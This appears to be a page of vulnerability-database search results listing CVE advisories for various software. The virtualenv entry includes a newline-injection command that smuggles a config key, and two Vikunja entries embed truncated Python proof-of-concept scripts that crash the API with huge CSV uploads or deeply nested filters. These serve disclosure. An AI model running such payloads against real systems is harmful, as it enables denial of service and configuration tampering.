Search: base.py
213 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Low | 2.5 | EPSS 0.3% | Low2.5EPSS 0.3%GCVE DatabaseCVE-2025-6170 A stack-based buffer overflow vulnerability exists in the interactive shell of the xmllint command-line tool used for parsing XML files in Red Hat AI Base Images 3.4.3 (Spyre). This flaw occurs when an overly long command is input without proper size checks, potentially causing the program to crash. Exploitation requires local access and manual interaction with the tool, making it unlikely in typical environments. The impact is limited to availability due to possible crashes, and no remote exploitation or code execution has been confirmed. Red Hat rates this vulnerability as low severity due to its limited attack surface and specific usage scenario. No fix is currently available, but an upstream patch is recommended once released. | GCVE Database | ||
| Medium | 5.8 | EPSS 0.1% | CVE-2026-102938pypa virtualenv · CRLF Injection Medium5.8EPSS 0.1%CVE Database V5CVE-2026-102938 ### Summary `pyvenv.cfg` is a line-based format with no escape syntax. `PyEnvCfg.write()` wrote values verbatim, while `PyEnvCfg._read_values()` parses the file with `str.splitlines()`. A value containing a line boundary therefore became additional configuration lines, and because reading is last-wins, the injected keys replaced any key written earlier in the file. ### Impact The `prompt` value is the reachable input: it is set by `--prompt`, by the `VIRTUALENV_PROMPT` environment variable, or from the config file, and `write()` emits `prompt` before `home`. A crafted prompt can therefore set `home` in the generated `pyvenv.cfg`: ```console $ virtualenv --prompt $'x"\nhome = /attacker/path\nprompt = "z' venv $ grep '^home' venv/pyvenv.cfg home = /attacker/path ``` `home` is what tooling reads to locate the base interpreter, so a consumer that trusts it can be pointed elsewhere. `implementation`, `version_info`, `version`, `executable`, `command` and `virtualenv` are also written before `prompt` and can be replaced the same way. This requires the prompt to come from somewhere other than the person running the command, for example a CI job templating a branch name into it, tooling deriving an environment name from user-supplied data, or an inherited `VIRTUALENV_PROMPT`. Where the operator supplies the prompt directly they already control the command line, and the effect is corruption rather than privilege gain: the value is truncated at the boundary and read back with a dangling quote. ### Details The boundary set is the one `str.splitlines()` recognizes, which is wider than `\n`: `\r`, `\v`, `\f`, the file, group and record separators, `U+0085`, `U+2028` and `U+2029` were all written through unchanged and all split the line when read back. ### Patches `PyEnvCfg.write()` now collapses those boundaries to spaces as it serializes each line, so it cannot emit a structurally invalid file regardless of what a caller places in `content`. ### Workarounds Do not pass externally influenced data as the virtualenv prompt. Strip line boundaries from any value before using it as `--prompt` or `VIRTUALENV_PROMPT`. | CVE Database V5 | ||
| Medium | 6.9 | EPSS <0.1% | CVE-2026-102711Two Issues Medium6.9EPSS <0.1%GCVE DatabaseCVE-2026-102711 Two vulnerabilities exist in the ThreadX loadable-module loader when loading attacker-controlled module objects via APIs that accept only a base pointer without image length verification. The first is a heap out-of-bounds read caused by trusting the code size field as the source image length during code copying. The second is a control-flow integrity weakness due to insufficient validation of module entry and callback pointers, with no checksum verification of the module preamble. No out-of-bounds write was identified. | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-32283 A vulnerability exists in the Go (golang) crypto/tls package affecting TLS 1.3 connections used by Red Hat AI Base Images 3.5.1 (Spyre). A remote attacker can cause a denial of service by sending multiple key update messages in a single record after the handshake, leading to connection deadlock and uncontrolled resource consumption. This impacts Red Hat products utilizing the affected Go standard library for TLS 1.3. No fix or mitigation meeting Red Hat's criteria is currently available. | GCVE Database | ||
| High | 8.3 | EPSS 0.6% | CVE-2026-77271sooperset mcp-atlassian · Path Traversal High8.3EPSS 0.6%CVE Database V5CVE-2026-77271 MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_safe_path defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit base_dir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the application later imports the modified module, bypassing the remediation tracked as CVE-2026-27825. This issue is fixed in version 0.22.0. | CVE Database V5 | ||
| Medium | 4.2 | EPSS 0.2% | CVE-2026-775251Panel-dev MaxKB · Missing Authorization Medium4.2EPSS 0.2%CVE Database V5CVE-2026-77525 MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, management chat-record routes authorize the path application_id but load records using global chat_id and chat_record_id values without confirming that the chat belongs to the authorized application. A normal user in the same workspace who knows the chat_id of a persisted non-debug record for a victim's published application can place it under a separate attacker-owned application path to read victim chat records. An attacker with an owned knowledge base and document can also use add_knowledge to copy victim answers while updating the victim record's improve_paragraph_id_list. No fixed version is available as of this review. | CVE Database V5 | ||
| High | 8.7 | EPSS 1.0% | High8.7EPSS 1.0%GCVE DatabaseCVE-2026-48586 A vulnerability in Apache Thrift's handling of highly compressed data can lead to a denial of service (DoS) by causing resource exhaustion. This flaw affects Red Hat AI Base Images 3.3.3 (Spyre) used in Red Hat OpenShift AI. Remote attackers can exploit this by sending specially crafted compressed data, resulting in system unavailability. No fix has been released yet for this vulnerability. | GCVE Database | ||
| Medium | 6.5 | EPSS 0.4% | CVE-2026-91969vikunja · Uncontrolled Resource Consumption Medium6.5EPSS 0.4%CVE Database V5CVE-2026-91969 # Unbounded CSV row cardinality permits API process termination ## Summary The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process. ## Impact and affected scope - **Type:** Resource Exhaustion Csv Import - **Affected component:** POST /api/v2/migration/csv/migrate - **Preconditions:** An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration. - **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026 - **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit. ## Technical details csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification. Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows. Relevant code: - `pkg/routes/api/v2/migration_csv.go:96` - `pkg/routes/api/v2/migration_csv.go:164` - `pkg/modules/migration/csv/csv.go:281` - `pkg/modules/migration/csv/csv.go:298` - `pkg/modules/migration/csv/csv.go:590` - `pkg/modules/migration/csv/csv.go:605` - `pkg/modules/migration/csv/csv.go:627` - `pkg/modules/migration/csv/csv.go:643` - `pkg/modules/migration/csv/csv.go:655` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27.0-alpine RUN apk add --no-cache bash build-base ca-certificates python3 tzdata WORKDIR /app COPY . /app RUN chmod +x /app/*.sh 2>/dev/null || true # Target source is supplied only at runtime through /target-repo:ro. # This image contains build dependencies and reproduction helpers, not a clone. ``` Create `reproduction/client.py`: ```python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.request import uuid BASE = "http://target:3456" def json_request(method, path, body=None, token=None, expected=None): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=30) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method} {path}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {} def wait_ready(): for _ in range(240): try: if json_request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready") def register_and_login(username): password = "PoC-password-123!" json_request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) _, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) return login["token"] def migrate(token, csv_data, config, expect_response): boundary = "----PoC-" + uuid.uuid4().hex body = ( f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode() + f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode() + csv_data + f"\r\n--{boundary}--\r\n".encode() ) print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True) req = urllib.request.Request( BASE + "/api/v2/migration/csv/migrate", data=body, headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary= | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.4% | CVE-2026-91968vikunja · Uncontrolled Recursion Medium6.5EPSS 0.4%CVE Database V5CVE-2026-91968 # Unbounded nested task-filter recursion permits API process termination ## Summary Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process. ## Impact and affected scope - **Type:** Resource Exhaustion Recursive Parser - **Affected component:** GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString - **Preconditions:** A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter. - **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026 - **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested A single low-privileged network request can terminate the API process and deny service to all users. ## Technical details The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth. Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed. Relevant code: - `pkg/models/task_collection_filter.go:240` - `pkg/models/task_collection_filter.go:268` - `pkg/models/task_collection_filter.go:274` - `pkg/models/task_collection_filter.go:276` - `pkg/models/task_collection_filter.go:295` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27.0-alpine RUN apk add --no-cache bash build-base ca-certificates python3 tzdata WORKDIR /app COPY . /app RUN chmod +x /app/*.sh 2>/dev/null || true # Target source is supplied only at runtime through /target-repo:ro. # This image contains build dependencies and reproduction helpers, not a clone. ``` Create `reproduction/client.py`: ```python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.parse import urllib.request BASE = "http://target:3456" def request(method, path, body=None, token=None, expected=None, timeout=30): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=timeout) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {} def wait_ready(): for _ in range(240): try: if request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready") def filter_path(project_id, depth): expression = "(" * depth + "id = 1" + ")" * depth path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="") print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True) return path def main(): wait_ready() username, password = "PoC-filter-user", "PoC-password-123!" request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) _, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) token = login["token"] _, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201) started = time.monotonic() request("GET", filter_path(project["id"], 1000), token=token, expected=200) print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True) try: status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90) raise RuntimeError(f"attack unexpectedly returned HTTP {status}") exc | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-86512java-json-tools json-patch · Improper Access Controls Medium5.3EPSS 0.4%CVE Database V5CVE-2026-86512 CVE-2026-86512 is a medium severity vulnerability in the java-json-tools json-patch library up to version 1.13. It involves improper access controls in the CopyOperation.apply and MoveOperation.apply functions. The flaw allows remote exploitation without user interaction or privileges beyond low-level access. The vulnerability has a CVSS 4.0 base score of 5.3. The project has been informed but has not yet responded or issued a fix. Exploit code is publicly available. EPSS 0.4%Vulnerability | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.1% | CVE-2026-84965MongoDB C Driver · Integer Overflow or Wraparound Medium5.9EPSS 0.1%CVE Database V5CVE-2026-84965 CVE-2026-84965 is an integer wraparound vulnerability in the BSON library's JSON parsing code used by the MongoDB C Driver. It occurs during allocation size calculation, which may lead to freeing a buffer while a subsequent copy operation writes to a stale pointer. On 32-bit size builds, an unauthenticated attacker can supply a large JSON input to cause the application to crash, resulting in denial of service. The vulnerability affects MongoDB C Driver versions from 1.10.0 up to but not including 1.30.9, and from 2.0.0 up to but not including 2.5.2. The CVSS 4.0 base score is 5.9, indicating medium severity. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.2% | Medium6.9EPSS 0.2%GCVE DatabaseCVE-2026-84309 CVE-2026-84309 is a vulnerability in pypdf where an attacker can craft a malicious PDF that triggers an infinite loop in the TreeObject.insert_child method. This issue affects versions from 0.4.0 up to but not including 0.5.1_25. The vulnerability has been fixed in pypdf version 0.5.1_25. The CVSS 4.0 base score is 6.9, indicating a medium severity. | GCVE Database | ||
| High | 8.8 | EPSS 0.7% | High8.8EPSS 0.7%CVE Database V5CVE-2026-19806 The Support Genix – Helpdesk, AI Chatbot, Knowledge Base & Customer Support Ticketing System plugin for WordPress is vulnerable to Authentication Bypass leading to Administrator Account Takeover in all versions up to, and including, 1.4.52 via the `guest_ticket_login()` function and its `p` parameter. This is due to the site-wide AES-256-CBC encryption key being derived from only three two-digit `wp_rand(10, 99)` values and a Unix timestamp via `md5()` — yielding approximately 19.5 bits of entropy — combined with a deterministic IV derived from the password, no authentication tag on the ciphertext, and no capability check, nonce, or session validation on the publicly reachable `/sgnix/?p=<token>` endpoint. This makes it possible for authenticated attackers, with subscriber-level access and above, who can obtain a single legitimate guest ticket token as a known-plaintext oracle and bound the plugin activation timestamp, to exhaust the ~729,000-candidate keyspace entirely offline, recover the site-wide encryption key, and forge a self-consistent `{ticket_id, ticket_user}` token targeting any administrator-owned ticket. Submitting the forged token to the unprotected endpoint causes `wp_set_auth_cookie()` to be called for that administrator, granting the attacker full administrative access to the WordPress site. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.7% | CVE-2026-82623open62541 · Use After Free Medium6.9EPSS 0.7%CVE Database V5CVE-2026-82623 CVE-2026-82623 is a use-after-free vulnerability in the open62541 library affecting versions 1.5.0 through 1.5.5. The flaw exists in the UA_DataValue_backend_copyRange function within the History Backend component. This vulnerability can be exploited remotely without authentication. Public exploit code is available, but the project has not officially recognized this as a security vulnerability and has closed the issue report. The CVSS 4.0 base score is 6.9, indicating a medium severity level. EPSS 0.7%Vulnerability | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.5% | CVE-2026-82543vastsa FileCodeBox · Race Condition Medium6.9EPSS 0.5%CVE Database V5CVE-2026-82543 CVE-2026-82543 is a race condition vulnerability in vastsa FileCodeBox affecting versions 2.0 through 2.3. The flaw exists in the update_file_usage function within the Pickup Limit Handler component, specifically in apps/base/views.py. This vulnerability can be exploited remotely without authentication. Public exploit code is available. Upgrading to version 2.5.0 resolves the issue. EPSS 0.5%Vulnerability | CVE Database V5 | ||
| High | 7.5 | EPSS 0.5% | CVE-2026-37012pentestgpt/core/langfuse.py · CWE-798 High7.5EPSS 0.5%GCVE DatabaseCVE-2026-37012 PentestGPT version 1.0.0 contains a vulnerability in the file pentestgpt/core/langfuse.py where hardcoded API credentials allow remote attackers to disclose sensitive user telemetry data. This vulnerability is identified as CVE-2026-37012 and is classified under CWE-798 (Use of Hard-coded Credentials). The CVSS v3.1 base score is 7.5, indicating a high severity with network attack vector, no privileges required, and no user interaction needed. There is no information about available patches or fixes for this vulnerability. | GCVE Database | ||
| Medium | 6.9 | EPSS 0.7% | Medium6.9EPSS 0.7%CVE Database V5CVE-2026-45274 MyBooks is anebook management web server also known as Talebook. In 3.41.2 and earlier, the SignUp.post handler for POST /api/user/sign_up in webserver/handlers/user.py does not enforce the ALLOW_REGISTER configuration flag, even though the frontend hides registration controls when the flag is false. An unauthenticated remote attacker can call the endpoint directly and create a valid account on an instance whose administrator disabled public registration. The process_auth_header function in webserver/handlers/base.py also does not verify the account's active flag, so the newly created and unactivated account can authenticate immediately and access user-level API functionality. The bypass defeats the intended account-creation policy and can supply the low-privilege account required by related authorization vulnerabilities. This issue is fixed in version 3.42.0. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.4% | CVE-2026-45273PoxenStudio talebook · Missing Authorization High8.7EPSS 0.4%CVE Database V5CVE-2026-45273 MyBooks is an ebook management web server also known as Talebook. In 3.41.2 and earlier, the AdminSettings.post handler for POST /api/admin/settings in webserver/handlers/admin.py applies the auth decorator but does not check the self.admin_user property, unlike the corresponding GET handler. Any authenticated regular user can therefore overwrite server configuration values including SMTP credentials, OAuth client secrets, storage paths, security feature flags, and autoreload settings. The process_auth_header function in webserver/handlers/base.py also fails to verify the matched account's active flag, allowing a registered but unactivated account to authenticate and reach the vulnerable handler. Exploitation can disclose secrets through configuration access paths, sabotage application behavior, force service restarts, and supply the settings needed for related code-injection attacks. This issue is fixed in version 3.42.0. | CVE Database V5 |
Page 8 of 15 · 2 duplicate CVE records merged